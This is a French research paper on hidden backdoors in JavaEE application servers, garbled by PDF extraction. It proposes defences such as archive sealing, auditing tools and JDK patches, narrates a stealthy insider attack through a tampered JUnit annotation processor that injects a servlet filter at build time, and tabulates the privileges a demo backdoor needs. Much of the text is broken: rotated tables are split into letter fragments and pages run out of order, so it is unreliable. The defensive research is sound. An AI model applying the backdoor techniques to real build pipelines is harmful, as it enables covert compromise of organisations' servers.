ltartifactId gtmaven -jar -plugin ltartifactId gt

ltconfiguration gt

ltarchive gt

ltmanifestEntries gt

ltSealed gttrueltSealed gt

ltmanifestEntries gt

ltarchive gt

ltconfiguration gt

ltplugin gt

ltplugins gt

ltbuildgt

Comme la tres grande majorite des archives Open Source ne sont pas scellees ilfaut les modifier pour ajouter les protections necessaires Une etude sur pres de millecomposants montre que moins drsquoun pour-mille est scelle etou signe

Nous proposons un utilitaire srsquooccupant drsquoajouter lrsquoattribut Sealed true a tousles composants et toutes les librairies (httpmacarongooglecodecom)

$ macaron -seal --in -place MonComposantear

Cette commande scelle tous les packages de toutes les archives du composantLes fichiers META-INFMF des librairies presentes dans le repertoire WEB-INFlib desfichiers war et les librairies des EJBs sont modifies pour sceller tous les packages

Pour plus drsquoinformations invoquez lrsquoaide

$ macaron -seal --help

15 httpjavasuncomj2se13docsguideextensionsspechtmlsealing

P Prados 437

Il est possible drsquoappliquer recursivement ce scellement a un referentiel MavenIl faut alors adapter en meme temps les hashs SHA1 srsquoils sont presents Ces hashspeuvent etre verifies lors du telechargement drsquoun composant dans le cache local

$ macaron -seal --in -place --sha1 -R m2repository

De meme pour un repository Ivy

$ macaron -seal --in -place -R ivy2cache

Le resultat drsquoun audit precedant peut servir a exclure des packages du processusAinsi il est facile de renforcer une instance du serveur Tomcat par exemple endemandant un audit du code puis en scellant les packages ne presentant pas deproblemes

$ macaron -audit --output audit -tomcatxml

-R $CATALINA_HOME

$ macaron -seal --ignore audit -tomcatxml

-R $CATALINA_HOME --in -place

Ces deux commandes peuvent srsquoeffectuer en une seule fois a lrsquoaide de pipe

$ macaron -audit --output - -R $CATALINA_HOME |

macaron -seal --ignore - -R $CATALINA_HOME --in-place

La version de Tomcat durcie possede des archives scellees sauf pour les quelquespackages partages par differentes archives Lors de lrsquoutilisation de la securite Java2elle est plus resistante aux pieges

$ $CATALINA_HOMEbincatalinash run -security

Cette approche interdit une partie des injections de code de type ResourceBundleLes ResourcesBundles presents dans des repertoires ou il nrsquoy a pas drsquoautres classessont toujours vulnerables

Il est egalement possible drsquoavoir un audit signalant les packages scelles Le resultatest un fichier XML avec une feuille de style XSLT pour une consultation dans unnavigateur

$ macaron -seal --audit sealedxml MonComposantwar

$ firefox sealedxml

438 Porte derobee dans les serveurs drsquoapplications JavaEE

55 Reduction du risque des META-INFservices

La securite Java2 permet drsquoautoriser des classes a effectuer certains traitementsElle permet egalement de determiner les privileges drsquoune classe avant son utilisation

Pour reduire le risque drsquoune utilisation malveillante de services nous proposonsdrsquoapporter quelques modifications a la classe javautilServiceLoader du JDK6 etsuivant

Cette classe normalise lrsquoutilisation des services et propose une API pour recuperertoutes les implementations drsquoune interface

Lrsquoimplementation actuelle ne verifie aucun privilege pour lrsquoinstallation drsquoun nou-veau service Nous proposons drsquoajouter la classe javautilServicePermission et drsquoa-jouter la verification du privilege associe lors de lrsquoinstallation drsquoun nouveau servicedans la classe ServiceLoader

if (SystemgetSecurityManager ()=null)

final Permission perm=

new ServicePermission(servicegetName ())

AccessControllerdoPrivileged(

new PrivilegedAction ltObject gt()

public Object run()

if (clazzgetProtectionDomain ()implies(perm))

throw new AccessControlException(

install service denied perm perm)

return null

)

Lrsquoajout de ce test permet de srsquoassurer que lrsquoarchive proposant drsquoajouter un nouveauservice en a le privilege Seul le CodeBase implementant le service doit posseder leprivilege Lrsquoappelant du service nrsquoen a pas besoin

Un patch en ce sens est propose a la communaute Ce dernier modifie egalement lesclasses des packages javaxxml et orgw3c pour qursquoelles utilisent ServiceLoader

De nombreuses autres classes du JDK utilisent le mecanisme de services sansutiliser la classe ServiceLoader Elles sont toujours vulnerables Il srsquoagit des classesdes packages suivants

ndash comsunndash orgrelaxingdatatype

ndash sunmisc

P Prados 439

Il faut egalement proceder de meme pour les classes de JavaEE Un diffstat surles modifications indique lrsquoetendue de la mise a jour et les classes impactees

j2sesrc javautilServiceLoaderjava | 42 +-

j2sesrc javautilServicePermissionjava | 74 ++++

j2sesrc javaxxmlbindContextFinderjava | 66 ---

j2sesrc javaxxmldatatypeFactoryFinderjava | 85 ----

j2sesrc javaxxmlparsersDocumentBuilderFactoryjava | 12

j2sesrc javaxxmlparsersFactoryFinderjava | 94 -----

j2sesrc javaxxmlparsersSAXParserFactoryjava | 17

j2sesrc javaxxmlsoapFactoryFinderjava | 39 --

j2sesrc javaxxmlstreamFactoryFinderjava | 84 ----

j2sesrc javaxxmltransformFactoryFinderjava | 86 ----

j2sesrc javaxxmlvalidationSchemaFactoryFinderjava | 36 +

j2sesrc javaxxmlwsspiFactoryFinderjava | 56 +--

j2sesrc javaxxmlxpathXPathFactoryFinderjava | 182 +---------

j2sesrc orgw3cdombootstrapDOMImplementationRegistryjava | 45 --

15 files changed 283 insertions (+) 646 deletions(-)

Ainsi pour pouvoir installer un nouveau service il faut avoir declare le privilegecorrespondant dans le projet

grant

permission javautilServicePermission

javaxxmlparsersSAXParserFactory

En attendant lrsquointegration de la modification dans le JDK il faut ajouter unparametre au chargement de la machine virtuelle

$ java -Xbootclasspathppatch -ServiceLocator -6jar

Une approche similaire est envisageable pour le JDK5 mais nrsquoa pas ete implementeecar la classe ServiceLoader nrsquoest pas presente

Si vous ne souhaitez pas utiliser le patch indiquez en variable systeme tous lesanalyseurs utilises

-DjavaxxmlparsersSAXParserFactory =

comsunorgapachexercesinternaljaxpSAXParserFactoryImpl

-DjavaxxmlparsersDocumentBuilderFactory =

comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl

De plus pour eviter toute ambiguıte Tomcat 6x devrait etre modifie pour utiliserle parseur XML du serveur drsquoapplication lors de lrsquoanalyse des fichiers TLDs a laplace du parseur livre par le composant WEB Cela a ete signale (CVE-2009-0911)par nos soins et sera pris en compte dans une prochaine version de Tomcat

440 Porte derobee dans les serveurs drsquoapplications JavaEE

56 Reduction du risque des ResourcesBundles

Pour reduire le risque drsquoexecution invisible de code lors de lrsquoutilisation desressources il faut modifier lrsquoalgorithme de resolution des ResourcesBundles

Fig 15 Nouveau RessourceBundle

La nouvelle version de lrsquoalgorithme recherche en priorite les fichiers propertiesavant de rechercher les classes Si un seul fichier properties existe les classes ne sontpas recherchees Cette legere modification de la semantique doit etre pratiquementinvisible Malgre nos recherches nous nrsquoavons jamais rencontre de situation ou unfichier properties doit legitimement etre surcharge par une classe

Il est possible drsquoavoir un apercu des impacts en consultant le resultat de cette page httpwwwgooglecomcodesearchq=extends+PropertyResourceBundle+lang

3Ajava

Nous proposons un correctif de la classe ResourceBundle pour le JDK5 Lrsquoarchivepatch-ResourceBundle-5jar propose une modification de la classe standard deJava Pour lrsquoutiliser il faut ajouter un parametre au chargement de la machinevirtuelle

$ java -Xbootclasspathppatch -ResourceBundle -5 jar

Le JDK6 offre de nouvelles fonctionnalites pour lrsquoutilisation des RessourcesBundlesvia une refonte totale de cette classe En outre il est possible de specifier un objet encharge de gerer le chargement des ressources Nous proposons le singleton suivantpermettant drsquoordonner le chargement des ressources

static final ResourceBundleControl securityControl =

new ResourceBundleControl ()

private ConcurrentHashMap ltString String gt

cacheType=

new ConcurrentHashMap ltString String gt()

public List ltString gt getFormats(String baseName)

return CollectionsunmodifiableList(

P Prados 441

ArraysasList(securityorder))

public ResourceBundle newBundle(String baseName

Locale locale

String format ClassLoader loader

boolean reload)

throws IllegalAccessException

InstantiationException IOException

ResourceBundle bundle=null

if (formatequals(securityorder))

String lastFormat=cacheTypeget(baseName)

if (lastFormat ==null)

bundle=supernewBundle(baseName locale

javaproperties

loader reload)

if (bundle =null)

cacheTypeput(baseName javaproperties)

else

cacheTypeput(baseName javaclass)

bundle=supernewBundle(baseName locale

javaclass

loader reload)

else

bundle=supernewBundle(baseName locale

lastFormat

loader reload)

return bundle

public boolean needsReload(String baseName

Locale locale

String format

ClassLoader loader

ResourceBundle bundle

long loadTime)

boolean result=

superneedsReload(baseName locale

format loader bundle loadTime)

if (result)

cacheTyperemove(baseName)

return result

Il doit etre utilise a chaque invocation de RessourceBundle

442 Porte derobee dans les serveurs drsquoapplications JavaEE

ResourceBundlegetBundle(Messages securityControl)getString(key)

Comme cette approche nrsquoest pas utilisee systematiquement par les projets ilest preferable drsquoenvisager un patch du JDK6 Lrsquoarchive patch-ResourceBundle-6jarpropose une modification de la classe standard de Java Les modifications sontminimes

Un diffstat indique lrsquoetendu des modifications

ResourceBundlejava | 108 +++++++++++++++++++++++++++-------------------------

1 file changed 58 insertions (+) 50 deletions(-)

Lrsquoalgorithme recherche une ressource format par format et non tous les formatsa la fois Lrsquoordre par defaut des formats est egalement modifie pour privilegier leformat javaproperties avant le format javaclass Pour utiliser le patch il faut ajouterun parametre au chargement de la machine virtuelle

$ java -Xbootclasspathppatch -ResourceBundle -6 jar

Si un utilisateur souhaite melanger des ressources au format properties et desressources au format class il doit nrsquoutiliser que le format class et simuler alors leformat properties

mv sampleproperties sampleprop

public static class sample extends PropertyResourceBundle

public sample () throws IOException

super(sampleclassgetResourceAsStream(

rsquorsquo+sampleclassgetName ()

replace(rsquorsquorsquorsquo)+prop))

6 Conseils pour se proteger

Voici quelques regles de bonnes pratiques pour se proteger autant que possibledes portes derobees generiques

Le premier conseil est drsquoexecuter le serveur drsquoapplications avec la securite Java2activee Il faut ouvrir les privileges pour chaque archive une a une et non globalementpour le composant Ainsi un droit offert a un framework nrsquoest pas disponible pour laporte derobee presente dans une autre archive

P Prados 443

Malheureusement les frameworks indiquent rarement les privileges necessairesSeul un test permet drsquoouvrir au fur et a mesure lrsquoensemble des droits necessaireset uniquement ceux-ci Crsquoest un processus long et complexe car les erreurs lors delrsquoabsence drsquoun privilege ne sont pas toujours explicites Il faut effectuer un test completde lrsquoapplication pour verifier qursquoaucun privilege nrsquoait ete oublie En demandant latrace de tous les privileges refuses il est envisageable de les synthetiser plus facilement

$ export JAVA_OPTS=-Djavasecuritydebug=access failure

$ $CATALINA_HOMEbincatalinash run -security 2gtamp1 | grep ^ access

Les logs indiquent les privileges accordes mais sont difficiles a interpreter

access access allowed (javalangRuntimePermission accessDeclaredMembers)

access access allowed(javaioFilePermissionwebappsbackdoorjee -sample

WEB -INFclassesorgspringframeworkwebservletmvcannotationAnnotation

MethodHandlerAdapterBeanInfoclass read)access access denied (javalang

RuntimePermission defineClassInPackagejavalang)

Pour faciliter cette etape nous proposons une base de donnees des privilegesnecessaires aux composants16 Nous comptons sur les lecteurs pour lrsquoenrichir

Le deuxieme conseil important Ne faites pas confiance aux referentiels Uneattaque sur le referentiel Mavenx par exemple et tous vos projets possedent des portesderobees generiques

Pour srsquoassurer de la bonne sante des composants a deployer effectuez un audit deces derniers et cherchez des explications convaincantes pour toutes les alertes avantde les declarer comme des laquo faux positifs raquo

Enfin testez lrsquoutilisation de la porte derobee de demonstration dans votre projet Ilsuffit drsquoajouter une archive Il nrsquoest pas necessaire de modifier le code de lrsquoapplicationSi les traces du serveur drsquoapplications signalent la reussite de lrsquoinjection modifiezvotre configuration

La securite Java2 nrsquoest pas toujours suffisante Un detournement de la puissancedes frameworks modernes permet egalement de prendre la main sur lrsquoapplicationsans necessiter de privileges Assurez-vous de maitriser tous les risques inherents alrsquoutilisation de ces derniers (Spring AOP etc)

Drsquoautre part pour proteger un attribut contre toute modification meme sans lasecurite Java2 il faut le declarer final Cela devrait etre utilise pour les Singletons etpour tous les attributs sensibles Evitez autant que possible les Singletons drsquoautantplus si la securite Java2 nrsquoest pas active

Nrsquoutilisez jamais de ResourceBundle dans un code privilegie ( AccessControllerdoPrivileged() )Pour se proteger de lrsquoinjection drsquoun analyseur XML il faut demarrer la JVM en

ajoutant des parametres permettant drsquoeviter la selection dynamique de lrsquoimplementation

16 httpmacaron-policygooglecodecom

444 Porte derobee dans les serveurs drsquoapplications JavaEE

-DjavaxxmlparsersSAXParserFactory =

comsunorgapachexercesinternaljaxpSAXParserFactoryImpl

-DjavaxxmlparsersDocumentBuilderFactory =

comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl

Il est preferable drsquoutiliser les patchs proposes

Vous nrsquoetes pas oblige de faire confiance aux prestataires de services ou aux SSIIVous devez imposer lrsquoutilisation de la securite Java2 des les phases de developpementSinon la tache de qualification des privileges sera trop importante et le prestatairearrivera a vous convaincre de supprimer la securite

Utilisez egalement les mecanismes proposes par le systeme drsquoexploitation pourreduire les risques Par exemple lrsquoutilisateur en charge du lancement du serveurdrsquoapplication ne doit pas avoir de droit en ecriture sur les repertoires de ce derniersauf pour les repertoires de travail

7 Scenario du pire

Au vue de toutes ces attaques nous pouvons imaginer un scenario credible quiest a notre avis le plus discret possible

Imaginons Jerome K un developpeur inconvenant drsquoune SSII participant a unprojet Web pour le compte drsquoune banque Soucieux de la securite cette derniere a misen place de nombreux filtres pour la renforcer Le code source est audite a la main les hashs SHA des archives sont verifiees au sein des WAR le developpement nrsquoapas acces a la production le code est recompile dans un environnement inaccessiblea lrsquoequipe de developpement en utilisant un repository Maven interne de referenceLe code est scelle et nrsquoutilise pas les annotations pour declarer les Servlets ou lesfiltres car le fichier webxml doit avoir le parametre metadata-complete Les classesannotees de ServletFilter Servlet ou autres ne doivent pas etre presentes et sontidentifiees par les outils drsquoaudits Le code srsquoexecute avec la securite java active Unmecanisme de teinture des variables est utilise dans la JVM pour eviter les injectionsSQL LDAP XSS CSRF etc Un pare-feu applicatif possede une liste blanche desrequetes possibles de lrsquoapplication avec une liste precise de tous les champs avecleurs types et leurs contraintes Bien entendu un pare-feu reseau nrsquoautorise que lescommunications HTTP et HTTPS via un reverse-proxy

Pour introduire la porte derobe Jerome K le pirate decide drsquointervenir surlrsquoarchive Junitjar En effet cette derniere presente deux avantages Elle est mondiale-ment connue et donc de confiance et elle ne sert que pour les tests unitaires doncelle ne presente pas de risque en production

P Prados 445

La version modifiee de cette archive doit remplacer la version du referentiel delrsquoentreprise Pour obtenir cela Jerome K demande de lrsquoaide a Adrian L lrsquoadministra-teur ayant le droit de modifier le referentiel Il lui demande de compiler un code javaen utilisant une archive piegee avec un processeur JSR269 Lors de la compilation surle poste de lrsquoadministrateur le fichier Junitjar du repository Maven et sa signatureSHA sont modifies en toute discretion La date du fichier indique une periode ouJerome K nrsquoetait pas present Il nrsquoest meme pas necessaire drsquoexecuter le programmeSeul le resultat de la compilation est sujet a discussion entre Jerome K et Adrian Lpour demander des eclaircissements sur un message drsquoerreur

Jerome K ajoute a lrsquoarchive JUnit un processeur compatible JSR269 afin depouvoir intervenir lors drsquoune compilation Ce processeur ajoute du code lors de lacompilation mais uniquement si celle-ci est effectuee sur la machine srsquooccupantdu build final (detection par sous-reseau) Ainsi rien nrsquoest visible dans toutes lesgenerations produites en phase de debug ou de qualification Le processeur nrsquoestpas utilisable lors drsquoune compilation avec Eclipse Lors de la compilation finale duprogramme par Ant ou Maven le processeur ajoute un ResourceBundle un BeanInfoou plus discretement injecte du code directement dans un fichier classe produit parle compilateur Il ajoute egalement dans un repertoire charge en classes les classescomplementaires pour les agents de la porte derobee Le processus de build invoquesans le savoir le processeur present dans Junit et modifie les classes produites sansmodifier les sources

Aucune librairie utilisee par lrsquoapplication nrsquoest modifiee Un audit du source nedonne rien ni la verification des hashs SHA des composants Aucune annotationsensible nrsquoest presente macaron-audit sur le fichier WAR ne signale rien non pluscar lrsquoattaque est specifique a un projet

En production le code injecte recupere le ServletContext soit directement lors delrsquoexecution du code injecte soit via une variable de thread comme le propose SpringPuis il ajoute dynamiquement un filtre JavaEE via les API Servlet 30 Ainsi lefichier webxml nrsquoa pas ete modifie et il nrsquoexiste pas drsquoannotations sensibles

Le filtre reste inactif pendant un mois afin de ne rien reveler Puis il se met aaccepter un mot de passe a usage unique changeant toutes les heures Sur la presencede ce mot de passe dans une requete POST la porte est ouverte Comme la portederobee utilise des requetes standards avec des champs connus le pare-feu applicatifne voit rien drsquoanormal Le trafic reseau etant standard et raisonnable en volume rienne clignote dans le pare-feu reseau

Pour communiquer avec la porte derobee Jerome K utilise une connexion anonymecomme TOR ou un proxy ouvert Pour eviter une reconstitution du trafic reseau lacommunication avec la porte derobee srsquoeffectue avec un algorithme de chiffrement

446 Porte derobee dans les serveurs drsquoapplications JavaEE

dont la clef change regulierement Comme le code de la porte derobee nrsquoindique pasles objectifs de lrsquoattaque il sera plus difficile de connaıtre les motivations de JeromeK en cas de decouverte

Par hasard lrsquoadministrateur Serge H decouvre un nombre anormal de requetesvers certaines pages pour la meme session Est-ce un code AJAX du projet Est-ceautre-chose Ayant eu la chance drsquoavoir enregistre toutes les requetes POST ildecouvre une utilisation etrange drsquoun des champs Les requetes sont toutes semblablessauf pour un seul champ Lrsquoouverture semble avoir commencee avec un mot specialdans ce dernier Il essaye lui-meme cette valeur mais cela ne donne rien Il ne sert arien de la detecter dans le pare-feu car la clef change toutes les heures

Il essaye de reconstituer la communication qui semble etre codee en b64 ou hexamais cela ne donne rien Elle est cryptee Il aurait fallu avoir une trace de toutes lesreponses pour comprendre les actions de Jerome K Il ne sert a rien de renforcer lesverifications des champs sur la page utilisee car le pirate peut exploiter toutes lespages du serveur ce que confirment drsquoautres traces a un autre moment

Comme il le presageait les adresses IP sources ne donnent rien Elles changent etviennent de tous les coins du monde

Kevin M un expert en securite est mandate avec pour objectif de bloquerrapidement la porte de decouvrir comment elle a ete injectee et par qui

Le code est a nouveau audite pour essaye de decouvrir drsquoou vient le probleme Lessources et les archives ne revelent rien Il faut decompiler tout le code pour decouvrirla porte derobee Mais drsquoou vient-elle Ce nrsquoest pas dans les sources ni dans lescomposants Kevin M recupere le tout et recompile sur un poste isole La porte nrsquoestpas presente dans le WAR final Etrange Finalement il refait un build depuis laplate-forme de qualification et decouvre que la porte derobee est automatiquementinjectee Il recherche une faille sur cette plate-forme sans resultat Il redeploie laplate-forme avec les fichiers sources originaux meme resultat la porte est present Ilutilise un autre serveur vierge du meme sous-reseau recupere les sources et recompileLa porte est toujours presente

De guerre lasse il utilise a nouveau macaron-audit mais cette fois sur toute laplate-forme et non uniquement sur le WAR produit Il decouvre alors un serviceetrange dans Junit archive negligee lors de la verification des hashs car elle nrsquoest paspresente en production Remontant alors la piste il decouvre que la version de Junitdans le repository a ete deposee par Adrian L lrsquoadministrateur il y a plusieurs moisCe dernier homme de confiance soupconne qursquoil ait ete victime drsquoun virus ou drsquouncheval de Troie mais ignore comment cela a pu se produire Un audit de son postene revele rien drsquoanormal

P Prados 447

Pour corriger le probleme Kevin M decide de restituer lrsquoarchive originale deJunit et de renforcer la securite du referentiel Maven de lrsquoentreprise Une signaturenumerique est ajoutee a chaque archive La procedure de qualification est renforceeUn macaron-audit sera dorenavant entrepris sur tout le projet Les compilations serontdorenavant toujours effectuees avec le parametre -proc none Kevin M est incapabledrsquoidentifier le pirate Il sait simplement qursquoil a du etre present dans lrsquoentreprise etdoit certainement connaıtre le projet

Ce scenario fonctionne avec les Servlet 30 et un JDK6+ Crsquoest a dire que plus lestechnologies progressent plus il est facile drsquoinjecter une porte derobee

8 Conclusion

Nous avons demontre qursquoil est possible en utilisant differentes techniques de piegesdrsquoinjections de code ou drsquoexploitations de privileges drsquoajouter une porte derobeeinvisible dans un projet JavaEE Nous avons identifie les strategies drsquoattaques etpropose des solutions pour reduire les risques Trois utilitaires permettent drsquoeffectuerun audit du code de le renforcer et drsquoextraire les rares privileges a accorder

httpmacarongooglecodecom

Dans lrsquoideal il faut faire evoluer la culture Java pour que les projets utilisent lescellement de tous leurs packages et travaillent systematiquement avec la securiteJava2 lors des phases de developpement

A ce jour le seul moyen drsquointerdire toutes les attaques identifiees est ndash drsquoutiliser la securite Java2ndash de sceller toutes les archives ndash drsquoutiliser les patchs pour ResourceBundle et ServiceLoader ndash de compiler avec le parametre -procnone

ndash et de ne pas utiliser lrsquoAOPLa signature des archives et lrsquoaudit humain est egalement un moyen de proteger

les referentiels Java offre des solutions de signature mais elles sont peu utiliseesPour une plus grande securite il faut les exploiter

  • Porte deacuterobeacutee dans les serveurs dapplications JavaEE
  • P Prados

P Prados 421

hebergees Dans ce mode les projets doivent souvent ajouter ponctuellement desprivileges pour leurs projets (acces a certains repertoires certaines machines dureseau etc)

Lrsquoexemple suivant donne le droit de creer un chargeur de classes a lrsquoensemble desarchives presentes dans le repertoire WEB-INFlib du projet MonProjet

grant codeBase file$catalinabase webappsMonProjetWEB -INFlib

permission javalangRuntimePermission

createClassLoader

Si le codeBase est termine par une etoile toutes les archives beneficient desprivileges Si le codeBase est termine par un caractere laquo moins raquo toutes les archivespresentes dans le repertoire et ses sous repertoires beneficient des privileges

Attention lrsquoouverture de privileges peut egalement ouvrir les acces aux portesderobees

Pour chaque technique utilisee par la porte derobee de demonstration il existeune liste minimum de privileges necessaires en securite Java2 Les parametres desecurite par defaut ne permettent pas lrsquoinstallation de la porte derobee mais les droitsnecessaires aux frameworks modernes ouvrent souvent la porte aux attaques

En ouvrant un droit pour un composant il y a le risque drsquoouvrir le droit pour laporte derobee Pour eviter cela il ne faut jamais ouvrir les droits globalement pourun repertoire complet Les droits doivent etre ouverts pour chaque composant lrsquounapres lrsquoautre

grant codeBase file$catalinabase webappsPrjWEB -INFlibspring -corejar

permission javalangRuntimePermission

createClassLoader

Chaque attaque et chaque agent de la demonstration exige certains privileges pourfonctionner Lrsquoabsence drsquoun seul de ces privileges interdit lrsquoattaque drsquoetre effectiveLes tableaux suivants les identifient Certains privileges sont optionnels srsquoils sontpresents le code est plus efficace sinon il contourne la difficulte Par exemple srsquoilnrsquoest pas possible de lire un fichier il nrsquoest pas possible de savoir si lrsquoarchive a dejaete copiee dans le repertoire privilegie du serveur drsquoapplication Dans ce cas le codecopie systematiquement lrsquoarchive Sinon elle est copiee que si cela est necessaire

422 Porte derobee dans les serveurs drsquoapplications JavaEE

Le

table

ausu

ivan

tid

enti

fie

les

diff

eren

tspie

ges

pre

sents

dan

slrsquoar

chiv

ede

dem

onst

rati

on

Pie

ges

Locali

sati

on

Desc

rip

tion

s

Res

ou

rces

Bu

nd

les

Exceptionsclass

formatclass

i18nclass

LocalStringsclass

messageclass

messagesclass

viewsclass

windowsclass

javaxservletLocalStringsclass

orgapachecatalinastoreconfigLocalStringsclass

orgapachexercesimplmsgDOMMessagesclass

orgapachexmlresXMLErrorResourcesclass

orghibernatevalidatorresourcesDefaultValidatorMessagesclass

Pu

blica

tion

de

class

esp

ou

rsi

mu

ler

un

fich

ier

properties

Ser

vic

essp

ecifi

cati

on

sJA

RMETA

INFservicesjavaxxmlparsersDocumentBuilderFactory

META

INFservicesjavaxxmlparsersSAXParserFactory

Pu

blica

tion

de

lrsquoim

ple

men

tati

on

de

nou

vea

ux

serv

ices

pu

isd

eleg

ati

on

du

trait

emen

ta

lrsquoim

ple

men

tati

on

stan

-d

ard

Pro

gra

mm

ati

on

par

asp

ect

META

INFaopxml

Dec

lara

tion

gen

eriq

ue

de

regle

sd

rsquoin

ject

ion

s

Le

tab

leau

suiv

ant

ind

iqu

ele

sd

iffer

ente

ste

chn

iqu

esdrsquoi

nje

ctio

ns

dan

sle

flu

xd

etr

ait

emen

td

esre

qu

etes

HT

TP

etle

sp

rivil

eges

nec

essa

ires

P Prados 423In

jecti

on

Priv

ileges

necess

air

es

Desc

rip

tion

s

Pro

tect

ion

de

lap

ort

ed

erobee

contr

ela

de-

com

pilati

on

javautilPropertyPermission

macaron-backdoorread

javalangRuntimePermission

createClassLoader

javalangRuntimePermission

getProtectionDomain

Pou

rev

iter

lad

e-co

mp

ilati

on

le

cod

ees

tp

rote

ge

Ce

pri

vil

ege

nrsquoe

stp

as

nec

essa

ire

enco

nd

itio

nn

orm

ale

etp

eut

etre

ign

ore

lors

des

test

sIl

nrsquoe

stp

as

dis

crim

inant

pou

rdem

ontr

erqu

rsquoun

eatt

aqu

en

ep

eut

avoir

lieu

Inje

ctio

nd

eV

alv

ed

an

sT

om

cat

javaxmanagementMBeanPermission

orgapachetomcatutilmodelerBaseModelMBeanaddValve

queryNamesinvokeregisterMBean

javaxmanagementMBeanPermission

orgapachetomcatutilmodelerBaseModelMBeanremoveValve

invoke

(Optionel)

javalangRuntimePermission

accessClassInPackageorgapachecatalina

javalangRuntimePermission

accessClassInPackageorgapachecatalinavalves

La

port

ed

erobee

con

stru

itu

ne

Valv

eet

lrsquoin

-je

cte

dan

sT

om

cat

alrsquoaid

ed

rsquoun

ere

qu

ete

Mb

ean

Inje

ctio

nd

eV

alv

ed

an

sT

om

cat

5x

siltContext

privileged=truegt

javalangRuntimePermission

accessClassInPackageorgapachecatalinaconnector

javalangRuntimePermission

accessClassInPackageorgapachetomcatutilhttp

Si

lep

rivil

ege

est

dis

pon

ible

dan

scontextxml

etu

tilisa

tion

de

Tom

cat

5x

Inje

ctio

nd

eV

alv

ed

an

sT

om

cat

6x

javalangRuntimePermission

defineClassInPackageorgapachecatalinavalves

javalangRuntimePermission

defineClassInPackageorgapachecatalina

javalangRuntimePermission

defineClassInPackageorgapachecatalinaconnector

Si

uti

lisa

tion

de

Tom

cat

6x

Inje

ctio

nd

eV

alv

ed

an

sJB

oss

avec

Tom

cat

5x

siltContext

privileged=truegt

javaxmanagementMBeanServerPermission

findMBeanServer

javaxmanagementMBeanPermission

orgapachetomcatutilmodelerBaseModelMBeanaddValve

queryNamesinvokeregisterMBean

javaxmanagementMBeanPermission

orgapachetomcatutilmodelerBaseModelMBeanremoveValve

invoke

(Optionel)

javalangRuntimePermission

getClassLoader

javalangRuntimePermission

accessClassInPackageorgapachecatalina

javalangRuntimePermission

accessClassInPackageorgapachecatalinavalves

javalangRuntimePermission

accessClassInPackageorgapachecatalinaconnector

javalangRuntimePermission

accessClassInPackageorgapachetomcatutilhttp

Sile

pri

vil

ege

est

dis

pon

ible

dan

scontextxml

lap

ort

ed

erob

eeco

nst

ruit

un

eV

alv

eet

lrsquoin

ject

ed

an

sJB

oss

alrsquoaid

ed

rsquoun

ere

quet

eM

bea

n

424 Porte derobee dans les serveurs drsquoapplications JavaEE

Inje

cti

on

Priv

ileges

necess

air

es

Desc

rip

tion

s

Au

gm

enta

tion

de

pri

vil

eges

sou

sT

om

cat

javaioFilePermission

$catalinahomelibwrite

javaioFilePermission

$catalinahomelibread

(Optional)

javautilPropertyPermission

catalinahomeread(Optional)

Dro

iten

ecri

ture

sur

lere

pert

oir

epar

lrsquoO

Sp

our

lrsquouti

lisa

teur

pro

pri

eta

ire

du

serv

eur

drsquoa

pplicati

on

Cet

teatt

aqu

eco

nsi

ste

are

cop

ier

lrsquoarc

hiv

ed

ela

port

ed

erob

eed

an

su

nau

tre

rep

erto

ire

du

serv

eur

drsquoa

pp

lica

tion

A

insi

au

pro

chain

dem

arr

age

de

ced

ern

ier

leco

de

ben

efici

ed

ep

lus

de

pri

vil

eges

Au

gm

enta

tion

de

pri

vil

eges

sou

sJB

oss

javaioFilePermission

$jbosshomedirserverdefaultdeployjboss-webdeployerwrite

javaioFilePermission

$jbosshomedirserverdefaultdeployjboss-webdeployerread

(Optionel)

Dro

iten

ecri

ture

sur

lere

pert

oir

epar

lrsquoO

Sp

our

lrsquouti

lisa

teur

pro

pri

eta

ire

du

serv

eur

drsquoa

pplicati

on

Cet

teatt

aqu

eco

nsi

ste

are

cop

ier

lrsquoarc

hiv

ed

ela

port

ed

erob

eed

an

su

nau

tre

rep

erto

ire

du

serv

eur

drsquoa

pp

lica

tion

A

insi

au

pro

chain

dem

arr

age

de

ced

ern

ier

leco

de

ben

efici

ed

ep

lus

de

pri

vil

eges

Inje

ctio

nd

efi

ltre

JavaE

Ed

an

swebxml

sou

sT

om

cat

javaioFilePermission

$catalinabasewebapps$warWEB

INFwebxml

write

Cet

teatt

aqu

eco

nsi

ste

ain

ject

eru

nfi

ltre

JE

Ed

an

sla

ver

sion

enca

che

de

Tom

cat

du

fich

ier

webxmlA

up

roch

ain

red

emarr

age

lefi

ltre

est

act

if

Inje

ctio

nS

pri

ng

Au

cun

Inje

ctio

nd

eltbeangt

dan

sle

sfi

chie

rsd

ep

ara

met

rage

de

Sp

rin

gp

ou

rca

ptu

rer

tou

sle

sre

qu

etes

au

fram

ework

MV

C

Pro

gra

mm

ati

on

par

asp

ect

Au

cun

Inje

ctio

nd

etr

ait

emen

tp

ou

rle

sse

rvle

tset

JS

P

Vou

sp

ou

vez

con

state

rqu

ed

eux

att

aqu

esn

en

eces

site

nt

au

cun

pri

vil

ege

Le

tab

leau

suiv

ant

rep

ren

dle

sp

rivil

eges

nec

essa

ires

au

xd

iffer

ents

agen

tsp

rop

ose

sC

esp

rivileg

esn

eso

nt

pas

nec

essa

ires

au

ne

att

aqu

eci

ble

e

P Prados 425A

gents

Priv

ileges

min

imu

ms

necess

air

es

Desc

rip

tion

s

Agen

tH

isto

riqu

eA

ucu

np

rivil

ege

part

icu

lier

A

gen

tm

emori

sant

les

der

nie

res

requ

etes

HT

TP

Agen

tJN

DI

Au

cun

pri

vil

ege

part

icu

lier

A

gen

tm

an

ipu

lant

lrsquoan

nu

air

eJN

DI

Agen

tJM

XjavaxmanagementMBeanPermission

getDomainsgetMBeanInfogetAttribute

Agen

tco

nsu

ltant

les

JM

X

Agen

tJD

BC

Au

cun

pri

vil

ege

part

icu

lier

A

gen

tp

erm

etta

nt

de

man

ipu

ler

lab

ase

de

don

nee

s

Agen

tJava

avec

lan

gage

Javasc

rip

tA

ucu

np

rivil

ege

part

icu

lier

A

gen

tp

erm

etta

nt

lrsquoex

ecu

tion

de

cod

eJavasc

rip

t

Agen

tJava

avec

lan

gage

Java

javalangRuntimePermission

createClassLoader

javaioFilePermission

$javahomeclassesread

javaioFilePermission

$javahomeclasses-read

javaioFilePermission

$javahomelib-read

Agen

tp

erm

etta

nt

laco

mp

ilati

on

de

cod

eJava

alrsquoaid

ed

rsquoAJP

le

com

pilate

ur

de

JS

P

Exte

nsi

on

agen

tJava

